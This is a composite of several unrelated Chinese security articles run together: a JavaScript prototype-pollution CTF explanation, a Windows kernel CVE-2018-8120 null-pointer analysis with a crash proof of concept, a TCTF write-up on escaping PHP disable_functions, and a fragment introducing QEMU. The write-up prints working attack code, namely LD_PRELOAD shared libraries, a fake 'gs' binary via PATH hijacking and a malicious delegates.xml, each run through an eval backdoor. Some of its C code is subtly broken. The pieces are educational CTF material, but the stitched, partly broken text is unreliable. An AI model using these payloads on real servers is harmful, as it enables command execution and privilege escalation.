Array.prototype ->object.prototype`,secret中无 foreach
方法，所以就会向上检索，就找到了`Array.prototype` 而其`foreach`方法已经被重写过了，所以会执行输出。
这就是原型链污染。很明显，原型链污染就是：`在我们想要利用的代码之前的赋值语句如果可控的话，我们进行 ——__proto__ 赋值，之后就可以利用代码了`
## 如何应用？
在javascript中可以通过 `test.a` or `test['a']` 对数组的元素进行访问，如下：
同时对对象来说说也是一样的
所以我们上述说的prototype也是一样的
那就很明显了，原型链污染一般会出现在对象、或数组的`键名或属性名`可控,而且是赋值语句的情况下。
### 下面我们先看一道题：hackit 2018
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等，且二者都要存在。
由代码可知，全文没有对user.admintokn 进行赋值，所以理论上这个值时不存在的，但是下面有一句赋值语句：
`matrix[client.row][client.col] = client.data`
`data`,`row`,`col`，都是我们post传入的值，都是可控的。所以可以构造原型链污染，下面我们先本地测试一下。
下面我们给出payload和结果
`注:要使用json传值，不然会出现错误`
### 下面再看另一道题：
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.name) {
res.cookie('name', copybody.name).json({
"done": "cookie set"
});
} else {
res.json({
"error": "cookie not set"
})
}
});
app.get('/getFlag', (req, res) => {
var аdmin = JSON.parse(JSON.stringify(req.cookies))
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
先分析一下题目，获取flag的条件是`admin.аdmin == 1`而admin 本身是一个object，其admin
属性本身并不存在，而且还有一个敏感函数 merg
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
merge 函数作用是进行对象的合并，其中涉及到了对象的赋值，且键值可控，这样就可以触发原形链污染了
下面我们本地测试一下
是undefined，为什么呢？下面我们看下
原来我们在创建字典的时候，`__proto__`,不是作为一个键名，而是已经作为`__proto__`给其父类进行赋值了，所以在`test.__proto__`中才有admin属性，但是我们是想让`__proto__`作为一个键值的.
那应该怎么办呢？可以使用 JSON.parse
> JSON.parse 会把一个json字符串 转化为 javascript的object
这样就不会在创建类的时候直接给父类赋值了
而题目中也出现了`JSON.parse`
var body = JSON.parse(JSON.stringify(req.body));
这样我们就可以愉快地进行原型链污染了
payload： | 社区文章 |
# Windows内核提权漏洞CVE-2018-8120分析 - 上
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景：
因一次需要提权时，苦于查找安全可行的Exploit，加上一直对二进制漏洞心怀仰慕，所以花了点时间从底层研究一下漏洞原理及漏洞利用的编写，因为是从零开始，在摸索的过程中也踩了不少坑，记录下来，以供借鉴和回顾。
## 工具：
1. IDA pro
2. PChunter
3. win7x86虚拟机
4. Visual Studio 2019
5. WinDBG
## 提要：
这次挑选了Windows系统CVE-2018-8120权限提升漏洞来着手研究和学习，该漏洞产生于win32k.sys组件，由于该组件中的SetImeInfoEx函数未能正确处理空指针对象，且因该空指针对象可被用户控制，导致任意内存地址写入的漏洞，通过与Bitmaps
GDI技术的结合，进一步扩展为任意内存地址读和写，最终可用于权限提升。
官方漏洞链接：[ _https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-8120_](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-8120)
## 一、漏洞定位分析
根据披露的信息，我们使用IDA Pro来对win32k.sys组件进行反编译以定位相关的漏洞位置。
### **（一）符号文件**
在此之前需要先了解一下“符号文件(Symbol
Files)”，符号文件通常以.pdb作为扩展名，是EXE、DLL等二进制文件的调试信息文件，通常来说涵盖了二进制文件的全局变量、局部变量、函数名及入口地址等信息，可以理解为源代码。
由于符号文件程序包不时地需要更新，微软在2018年4月起，弃用了以往的离线下载方式，转而采用Microsoft公共符号服务器来提供下载。通过设置系统变量“set
_NT_SYMBOL_PATH=srv*DownstreamStore*https://msdl.microsoft.com/download/symbols”，来自动加载符号文件。
符号文件详情：[ _https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/microsoft-public-symbols_](https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/microsoft-public-symbols)
### **（二）函数定位及分析**
完成对win32k.sys的反编译后，我们在Function Window搜索SetImeInfoEx，随后按F5转化为C
Code进而得到SetImeInfoEx的伪源码。
阅读该方法的代码流程，留意红框圈出处，v3 = *(_DWORD **)(a1 + 20);
其中，a1为输入的参数，由于未对V3做空指针校验而直接调用赋值给V3，导致了非法访问。
得知SetImeInfoEx方法存在漏洞，自然就要找到在何处调用了该方法，点击IDA
View-A，文件查阅，通过XREF关键字可知，方法NtUserSetImeInfoEx调用了存在漏洞的SetImeInfoEx方法。
通过查看NtUserSetImeInfoEx函数的伪源代码，可知，传入SetImeInfoEx的第一个参数为 v4 =
_GetProcessWindowStation(0);
通过查阅MSDN微软开发文档（https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getprocesswindowstation），可知GetProcessWindowStation方法返回当前进程的窗口句柄。
既然有Get方法，自然也会有Set方法(https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setprocesswindowstation)
SetProcessWindowStation方法，可以将制定的窗口分配给调用的进程，使得进程可以访问窗口中的对象，比方说桌面、剪贴板等。
以及Create方法（https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-createwindowstationa）
经过这番分析，得知可以编写一个exe，该exe通过CreateWindowStation、SetProcesssWindowStation方法为当前进程设置窗口对象，而后调用NtSetUserImeInfoEx方法，进而触发SetImeInfoEx方法，而SetImeInfoEx方法的传参通过GetProcessWindowStation获得，受我们控制，因此，我们可以操纵SetImeInfoEx方法中v3的值。
链路为：CreateWindowSetProcessWindowStation->NtUserSetImeInfoEx->GetProcessWindowStation->SetImeInfoEx->v3->v4->qmemcpy
## 二、漏洞测试
### **（一）设置窗体**
打开Visual Studio 2019 or
其他版本，首先调用CreateWindowStation得到tagWINDOWSTATION对象,随后调用setProcessWindowStation为当前进程设置tagWINDOWSTATION对象
#include <windows.h>
int main()
{
HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
SetProcessWindowStation(hSta);
}
以下是tagWINDOWSTATION对象的结构(通过WinDBG查看结构体):
win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void
翻阅上图关于SetImeInfoEx函数的伪代码，其中第十行：v3 = *(_DWORD **)(a1 +
20);此处20转为16进制为0x014，也即获取tagWINDOWSTATION对象的spliIList成员的值。
由于通过CreateWindowStation初始化得到的tagWINDOWSTATION对象，其偏移量0x014的成员变量tagWINDOWSTATION->spklList默认为NULL。
因此通过setProcessWindowStation并调用NtUserSetImeInfoEx->GetProcessWindowStation->SetImeInfoEx->v3
= tagWINDOWSTATION->spklList，最终会导引至对空指针进行操作。
### **（二）系统服务**
Q：那么问题来了，设置好窗体对象后，要如何调用NtUserSetImeInfoEx方法呢？
A：由于NtUserSetImeInfoEx方法属于内核方法，用户程序不能直接访问内核空间，但我们可以通过调用系统服务来间接访问内核空间中的数据和方法。
Q：什么是系统服务？
A：系统服务，是由操作系统提供的一组内核函数，API可以间接或者直接的调用系统服务，而操作系统以动态链接库（DLL）的形式提供API，比方常见的ntdll.dll、kernel32,dll
Q：系统服务如何实现让用户模式下的程序调用内核函数？
A：当调用系统服务时，调用线程将会从用户模式切换为内核模式，等待调用结束后再回归用户模式，这个过程称之为上下文切换。通常通过软中断或快速系统调用实现上下文切换。
### **（三）系统服务描述表**
那么接下来，我们需要去调用系统服务，从而间接调用NtUserSetImeInfoEx方法。
在此之前，先来了解系统服务描述表（System Service Descriptor
Table），在Windows系统中，维护了两张“系统服务描述表”，分别是SSDT（System Service Descriptor
Table）以及SSDTShadow（System Service Descriptor Table）。
该表可以基于系统服务编号进行索引，来定位内核函数内存地址，以供系统或程序进行调用。
Q：SSDT跟SSDTshadow有什么区别？
A：前者涵盖的是有关ntoskrnel.exe、ntdll.dll的内核函数，后者则包含了ntoskrnel.exe以及win32k.sys、gdi.dll、user.dll中包含的内核函数。我们打开PCHunter，查看一下两张表即一目了然。以下分别是SSDT以及SSDTshadow
这次我们先来了解SSDTShadow(System Service Descriptor Table
Shadow)影子系统服务描述表，该表主要用于处理user32.dll、GDI32.dll中所调用的方法，主要在win32k.sys中实现，也就是本次存在漏洞的组件。
以下是SSDT的结构（SSDT跟SSDTShadow结构一致），
typedef struct _SERVICE_DESCRIPTOR_TABLE
{
PULONG ServiceTableBase;// 指向函数地址的指针，每个成员占4字节
PULONG ServiceCounterTableBase;// 当前系统服务表被调用的次数
ULONG NumberOfService;// 服务函数的数量
PUCHAR ParamTableBase;// 服务函数的参数总长度，以字节为单位，每个成员占一个字节
} SSDTEntry, *PSSDTEntry;
在ServiceTableBase中，记录了第一个内核方法的内存地址，而该内存地址指向了不同的内核函数，其中，通过地址的偏移，我们可以遍历得到SSDT所记录的所有内核函数的内存地址（仅包含用户模式最常用的内核函数，并非囊括全部内核函数）
回归正题，我们在Win7 x86的环境下打开PChunter，点击内核钩子-ShadowSSDT，通过翻找可以查阅到我们所需调用的NtUserSetImeInfoEX的编号为550。
在每个Windows系统版本中，为了保持系统稳定可用，内核函数在系统服务描述表的排列顺序都是不变的，我们在Win7
x86的环境下打开PChunter，点击内核钩子-ShadowSSDT，通过翻找可以查阅到我们所需调用的NtUserSetImeInfoEX的编号为550。而550就是该内核方法的调用号。
WindowsNT基本的系统native调用有两百多个，而记录在SSDT中的内核函数，编号都小于0x1000，编号大于0x1000的系统调用号是微软扩展出来的。
而扩展出来的系统调用号用于动态安装的模块win32k.sys，记录在SSDTShadow，由于我们需调用的NTUserSetImeInfoEx属于win32k.sys，是扩展出来的系统调用号，因此将550转化为16进制为0x0226后，还需要添加0x1000的起始偏移，因此NtUserSetImeInfoE方法的内存地址偏移量为0x1226。
想要进一步了解系统服务调用和SSDT、SSDTShadow之间的过程和联系，可以查阅：https://blog.csdn.net/qq_41988448/article/details/102994374
### **（四）系统调用**
想要通过系统服务调用号来调用系统服务，我们需要通过快速系统调用的方式进行调用，也就是KiFastSystemCall，而每个Windows版本中，快速系统调用函数的内存地址是固定不变的，记录在UserSharedData!SystemCallSutb当中，而在Win7
x86中，系统快速调用函数的内存地址为“0x7ffe0300”
Q：什么是系统调用？
A：系统调用，顾名思义，说的是操作系统提供给用户程序调用的一组“特殊”接口。用户程序可以通过这组“特殊”接口来获得操作系统内核提供的服务。从逻辑上来说，系统调用可被看成是一个内核与用户空间程序交互的接口——它好比一个中间人，把用户进程的请求传达给内核，待内核把请求处理完毕后再将处理结果送回给用户空间
Q：快速系统调用跟系统调用是什么关系？
A：快速系统调用是系统调用的一种。
Q：为何要通过系统调用方法来进行调用？
A：无论何时用户态线程调用系统服务，线程都将突然被允许运行特权操作系统代码。这对于操作系统来说是很不友好的。用户态线程可能破坏系统的数据结构或在内存中移动一些内容，对系统和用户产生巨大破坏。正因为如此，处理器通常提供一条只用于系统服务的特殊指令，而这条指令就是系统调用。
### **（五）编写poc**
打开Visual
Studio，使用汇编语言编写调用NtSetUserImeInfoEx方法，其中“0x1226”为NtUserSetImeInfoEx方法的地址偏移，“0x7ffe0300”为内存地址固定的UserSharedData!SystemCallSutb，快速系统调用函数的地址，下面汇编语义就是将调用号作为快速系统调用的参数，由快速系统调用函数查找调用号对应的内核函数，并进行调用。
__declspec(naked) void NtSetUserImeInfoEx(char* arg1)
{
__asm
{
mov eax, 0x1226;
mov edx, 0x7ffe0300;
call dword ptr[edx];
ret 0x04
}
}
__declspec(naked)是用来告诉编译器函数代码的汇编语言为自己的所写，不需要编译器添加任何汇编代码，通俗说可生成纯汇编。
官方解释：For functions declared with the naked attribute, the compiler generates
code without prolog and epilog code. You can use this feature to write your
own prolog/epilog code sequences using inline assembler code. Naked functions
are particularly useful in writing virtual device drivers. Note that the naked
attribute is only valid on x86, and is not available on x64 or
Itanium.(混合汇编编写代码仅支持生成x86应用)
整合起来为：
#include <windows.h>
__declspec(naked) void NtSetUserImeInfoEx(char* arg1)
{
__asm
{
mov eax, 0x1226;
mov edx, 0x7ffe0300;
call dword ptr[edx];
ret 0x04
}
}
int main()
{
HWINSTA hStation = CreateWindowStation(0, 0, READ_CONTROL, 0);
SetProcessWindowStation(hStation);
char ime[0x800];
NtSetUserImeInfoEx(ime);
return 0;
}
编译成exe丢到Win7
x86虚拟机中执行，由于调用系统服务时产生了模式切换，进入了内核态，在内核态中，对空指针进行操作，进而触发了蓝屏。而在用户模式下对空指针进行操作，只会返回程序错误。
蓝屏触发，说明触发了空指针引用，定位到漏洞点。
### **（六）零页内存以及空指针赋值分区**
在《Windows核心编程》关于内存结构的章节中指出：Windows系统存在空指针赋值分区，其范围从0x00000000至0x0000FFFF，由于这部分内存位于地址空间的最开始，因此也称之为零页内存，这段内存空间是空闲的，没有相应的物理存储器与之对应，因此对于这段空间而言，任何的读写操作都会造成异常。
在内核态会触发蓝屏，在用户态会触发程序错误。由于一个内存地址存储空间为1字节，由0x0000FFFF为65536此处为64kB。
Q：是否空指针分区或者零页内存就无法使用呢？
A：非也，通过调用ntdll.dll的NtAllocateVirtualMemory函数，通过特殊的小技巧，可以在零页内存分配内存空间，使得NULL指针可读，不会报错。
// 定义NtAllocateVirtualMemory函数结构
typedef NTSTATUS(__stdcall *MyNtAllocate)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
MyNtAllocate fun;
PVOID baseAddr = (PVOID)0x100; //以0x100作为起始地址
DWORD size = 0x1000; // 分配页面大小为4KB
fun = (MyNtAllocate)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
if (fun == NULL)
{
printf("[-] fail to GetAddress");
exit(-1);
}
fun(GetCurrentProcess(),&baseAddr,0,&size,MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);//分配内存空间
对于Windows系统，在进程的虚拟空间申请一块内存时，该块内存默认为64KB大小对齐（分配内存的起始地址必须为64KB的整数倍），因此，当我们设置分配内存的起始地址为0x00000100时，系统会强制决定起始地址为0x00000000，由于我们分配页面大小选择4KB，因此分配得到的内存空间为0x00000000~0x00001FFF。
当完成内存空间分配后，原本的空指针赋值分区可读可写，所有当再次调用SetImeInfoEX方法时，便不再会触发蓝屏（蓝屏是因为对于零页内存的任意读写都会报错）。
至此，我们通过在用户态R3的程序中通过分配内存空间，设置内存数据，最终控制SetImeInfoEx函数中v3的取值，进而可以控制其随后在21行调用的qmemcpy(v4,
a2, 0x15Cu);，达到任意地址写入的目的。
## 三、后续
结合本次内容，下一篇将结合BitMap技术，将任意地址写入，转化任意地址读写。
50加成券 | 社区文章 |
## 前言：
上星期打完TCTF，到现在才有时间整理一下Write Up。Web方向总共只有两道题目，其中一题是 Java，我目前为止还无能为力，另外一题就是这道
WallBreaker Easy。话不多说，开始复现：
## 题目信息：
> Imagick is a awesome library for hackers to break `disable_functions`.
> So I installed php-imagick in the server, opened a `backdoor` for you.
> Let's try to execute `/readflag` to get the flag.
> Open basedir: /var/www/html:/tmp/3accb9900a8be5421641fb31e6861f33
> Hint: eval($_POST["backdoor"]);
disable_functions：
[
Imagick 相关信息：
[
下面我们来说说这道题目的几种解法
## 解法一：
### 1\. 利用 putenv 设置LD_PRELOAD变量
这里需要介绍一个前置知识：
> LD_PRELOAD 是 Linux 下的一个环境变量,动态链接器在载入一个程序所需的所有动态库之前,首先会载入LD_PRELOAD
> 环境变量所指定的动态库。
我们可以看到`disable_functions` 里面是没有 ban 掉 `putenv`
的，那么我们就可以用`putenv`设置`LD_PRELOAD`变量，引入自己的恶意动态链接库（共享对象）来劫持库函数，这样如果能再启动一个调用了这个库函数的程序，就可以实现
RCE 。
在此之前，大多是通过`mail` 函数来启动 `sendmail` ，然而在这里，`mail`函数被 ban 掉了，我们只能寻找其他能够启动外部程序的函数。
### 2\. 通过 ImageMagick 调用外部程序
根据题目描述，我们很自然的想到问题出现在 `php-imagick` ，而 `php-imagick`，其实只是软件`ImageMagick`的 PHP
拓展，所以我们需要首先了解一下`ImageMagick`。
引入官方描述：
> Use
> ImageMagick[®](http://tarr.uspto.gov/servlet/tarr?regser=serial&entry=78333969)
> to create, edit, compose, or convert bitmap images. It can read and write
> images in a variety of [formats](https://imagemagick.org/script/formats.php)
> (over 200) including PNG, JPEG, GIF, HEIC, TIFF,
> [DPX](https://imagemagick.org/script/motion-picture.php),
> [EXR](https://imagemagick.org/script/high-dynamic-range.php), WebP,
> Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate,
> distort, shear and transform images, adjust image colors, apply various
> special effects, or draw text, lines, polygons, ellipses and Bézier curves.
可以看到 `ImageMagcik` 支持超过 200
种格式的文件处理，我们点击描述中的[链接](https://imagemagick.org/script/formats.php)即可看到具体的类型和描述：
很容易就能发现`ImageMagick` 在处理一些类型的文件的时候需要依赖其他软件。
找出所有调用 `Ghostscript` 的文件类型：
EPI EPS EPS2 EPS3 EPSF EPSI EPT PDF PS PS2 PS3
先用 PDF 来试一试：
<?php
$test = new Imagick('1.pdf')
结果运行后报错：
$ php index.php
PHP Fatal error: Uncaught ImagickException: not authorized `1.pdf' @ error/constitute.c/ReadImage/412 in /tmp/tctf/index.php:2
Stack trace:
#0 /tmp/tctf/index.php(2): Imagick->__construct('1.pdf')
#1 {main}
thrown in /tmp/tctf/index.php on line 2
搜了一下发现是出于安全考虑，新版本`ImageMagick` 默认禁止了使用`Ghostscript`处理 PDF
文件。具体的配置文件在：`/etc/ImageMagick-6/policy.xml`，相关内容如下:
<policymap>
......
<!-- disable ghostscript format types -->
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPI" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />
</policymap>
可以看到一起被禁止的还有文件拓展名包含`PS` `EPI` `XPS` 的文件，所以我们上面列举的文件类型里面就只有`EPT` 符合要求了。
执行 `$ convert 1.png ept:1.ept` 生成一个 `EPT` 文件,使用这个文件再次进行测试发现没有报错，
再执行`$ strace -f php index.php 2>&1 | grep -C2 execve`看一下有没有调用 `ghostscript`：
可以看到是有去执行`gs`的，说明我们的思路可行。
### 3\. 生成恶意动态链接库
首先执行 `readelf -Ws /usr/bin/gs`看一下这个程序都有哪些符号：
从符号中可以看出他调用的库函数，我们选择 `fflush` 这个函数来进行劫持：
#include <stdlib.h>
#include <string.h>
void payload() {
const char* cmd = getenv('CMD')
system(cmd);
}
int fflush() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
使用 gcc 将上述内容编译成动态链接库，现在万事俱备，只欠东风！
### 4\. 发起攻击
首先将我们生成的 `EPT` 文件和`hack.so` 文件利用题目中的后门写入到服务器上，然后执行
putenv('LD_PRELOAD=/tmp/3accb9900a8be5421641fb31e6861f33/hack.so');
putenv('CMD=/readflag > /tmp/3accb9900a8be5421641fb31e6861f33/flag.txt');
$img = new Imagick('/tmp/3accb9900a8be5421641fb31e6861f33/1.ept');
再读取 `flag.txt`，即可拿到 flag。
当然，`ImageMagick` 会调用的不只有`Ghostscript`，所以还有其他类型的文件可以利用，这里就不一一列举了。
## 解法二：
上面的解法是通过 `ImageMagick` 来启动`ghostscript`
并劫持其库函数，然而我们真的除了`ImageMagick`之外就找不到其他更通用的函数可以启动外部程序了吗？
### 1\. 利用 error_log 函数启动 sendmail
`error_log`
的具体信息我就不介绍了，大家可以到[官方文档](https://www.php.net/manual/zh/function.error-log.php)
查看。
这里我们要用到的就是当 `error_log` 的第二个参数 `message_type` 的值为 1 的时候，会调用`mail`
函数的同一个内置函数(会执行`sendmail` 命令)的特性。
那么思路和第一种解法类似，我们只要劫持 `sendmail` 调用的库函数，然后使用 `error_log`函数启动 `sendmail` 进程即可。
然而真的会这么简单吗？这里有一个问题，题目的服务器上根本没有安装`sendmail`! 因此即便环境变量被成功加载，并且 `error_log`
尝试去执行`sendmail`，也无法成功执行被我们劫持的库函数。
那么还有其他办法吗？
### 2\. __attribute__((constructor))拓展修饰符？
这个姿势来源于18年12月 FreeBuf
的一篇文章：[无需sendmail：巧用LD_PRELOAD突破disable_functions](https://www.freebuf.com/articles/web/192052.html)，我发现许多师傅的
Write Up 中都提到了这个方法，但是似乎没人对这个方法做进一步的分析。文章中提到：
> GCC 有个 C 语言扩展修饰符 __attribute__((constructor))，可以让由它修饰的函数在 main()
> 之前执行，若它出现在共享对象中时，那么一旦共享对象被系统加载，立即将执行 __attribute__((constructor)) 修饰的函数。
按照这篇文章的说法，我们只需利用`putenv`设置`LD_PRELOAD`
，使得使用了`__attribute__((constructor))`修饰函数的恶意动态链接库被系统加载便能实现命令执行，而不再需要再去劫持程序调用的库函数，`sendmail`
存不存在也就无所谓了。
然而我们的这个恶意动态链接库（共享对象）究竟是怎么被 “系统” 加载的呢？文章中并没有说清楚。这其实是这篇文章一个疏漏的地方。
我们要知道一个程序的动态链接库并不是所谓被系统加载的，而是被执行的二进制文件去寻找自己所需要的动态链接库，即便这个库是`LD_PRELOAD`
所设置的，也需要在一个新进程启动之后，由这个进程将库加载进自己的运行环境(甚至如果没有新进程，`LD_PRELOAD` 变量都不会被加载)。
那么既然`sendmail`不存在，究竟是哪个进程加载了我们的动态链接库呢？
这里用原文中的一张图给出答案：
可以看到，除了 `/usr/bin/php`
之外的第一个进程，其实是`/bin/sh`,而并非`/usr/sbin/sendmail`!然而这篇文章的作者似乎却忽略了`/bin/sh`。
也就是说在这一步，真正加载了动态链接库的其实是`/bin/sh` 的进程，其实我们大可不必使用`__attribute__((constructor))`
，直接劫持`/bin/sh` 的库函数即可。
所以说，要想加载动态链接库，就必须启动一个新进程，只要存在新进程，就能劫持库函数。当然这并不是说`__attribute__((constructor))`
没有意义，毕竟他可以帮我们省略挑选库函数的过程。
那么回到题目上来，新的动态链接库源码如下：
#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");
system(cmd);
}
或者劫持`/bin/sh` 的库函数
#include <stdlib.h>
#include <string.h>
void payload() {
const char* cmd = getenv('CMD')
system(cmd);
}
int getuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
同样，编译成动态链接库后写入服务器。
### 3\. 发起进攻
只需把解法一中执行的最后一行代码改成`error_log('',1);`
## 解法三：
前两种方法都是通过设置 `LD_PRELOAD`变量来加载恶意动态链接库，那么除此之外还有没有其他变量可以利用呢？
### 1\. 覆盖 PATH 变量
我们知道 Linux 中万物皆文件，执行一个命令的实质其实是执行了一个可执行文件，而系统正是通过
`PATH`环境变量找到命令对应的可执行文件，当输入命令的时候，系统就会去`PATH` 变量记录的路径下面寻找相应的可执行文件。
那么如果我们通过`putenv`
覆盖这个变量为我们可以控制的路径，再将恶意文件上传，命名成对应的命令的名字，程序在执行这个命令的时候，就会执行我们的恶意文件。
而 `ImageMagick` 正是通过执行命令的形式启动外部程序的，忘记了的同学再看一遍这张图应该就能明白了：
### 2.发起攻击
#include <stdlib.h>
#include <string.h>
int main() {
unsetenv("PATH");
const char* cmd = getenv("CMD");
system(cmd);
return 0;
}
将上述内容编译后命名为 `gs`,将 `gs` 和 `EPT`文件写入到服务器，然后执行：
putenv('PATH=/tmp/3accb9900a8be5421641fb31e6861f33');
putenv('CMD=/readflag > /tmp/3accb9900a8be5421641fb31e6861f33/flag.txt');
chmod('/tmp/3accb9900a8be5421641fb31e6861f33/gs','0777');
$img = new Imagick('/tmp/3accb9900a8be5421641fb31e6861f33/1.ept');
## 解法四：
### 1.结合 putenv 和 ImageMagick 特性：
我们在Github上查看`ImageMagick` 的源码，在官方给出的
[QuickStart.txt](https://github.com/ImageMagick/ImageMagick/blob/826cbebfe562ac9160a3cb4316b4e4bed61203cb/QuickStart.txt)
中可以看到这样的内容：
Configuration Files
ImageMagick depends on a number of external configuration files which
include colors.xml, delegates.xml, and others.
ImageMagick searches for configuration files in the following order, and
loads them if found:
$MAGICK_CONFIGURE_PATH
$MAGICK_HOME/etc/ImageMagick
$MAGICK_HOME/share/ImageMagick-7.0.2/config
$HOME/.config/ImageMagick/
<client path>/etc/ImageMagick/
<current directory>/
可以看到 `ImageMagick`的配置文件位置与环境变量有关，那么结合`putenv`
我们就可以控制`ImageMagick`的配置。接下来，我们需要做的就是寻找一些可以帮助我们执行命令的配置项。
在本地环境的配置文件目录逐项查看后，可以发现在`delegates.xml`这个文件内，定义了`ImageMagick`处理各种文件类型的规则，格式如下：
<delegatemap>
......
<delegate decode="bpg" command=""bpgdec" -b 16 -o "%o.png" "%i"; /bin/mv "%o.png" "%o""/>
</delegatemap>
可以看到处理文件所需执行的系统命令均在这个文件中设置，那么我们就可以自定义这个文件来执行命令了。
### 2\. 发起进攻：
首先通过正常情况下执行的命令找到 `EPT` 文件对应的文件格式为：`ps:alpha`，那么我们所需要的`delegates.xml`内容就是：
<delegatemap>
<delegate decode="ps:alpha" command="sh -c "/readflag > /tmp/3accb9900a8be5421641fb31e6861f33/flag.txt""/>
</delegatemap>
将 `delegates.xml` 和 `EPT` 文件写入后，使用题目中的后门执行如下命令即可：
putenv('MAGICK_CONFIGURE_PATH=/tmp/3accb9900a8be5421641fb31e6861f33');
$img = new Imagick('/tmp/3accb9900a8be5421641fb31e6861f33/1.ept');
## 参考链接：
[无需sendmail：巧用LD_PRELOAD突破disable_functions](https://www.freebuf.com/articles/web/192052.html) | 社区文章 |
## 简介：
QEMU是一套由法布里斯·贝拉(Fabrice
Bellard)所编写的以GPL许可证分发源码的模拟处理器，在GNU/Linux平台上使用广泛。Bochs，PearPC等与其类似，但不具备其许多特性，比如高速度及跨平台的特性，通过KQEMU这个闭源的加速器，QEMU能模拟至接近真实电脑的速度。
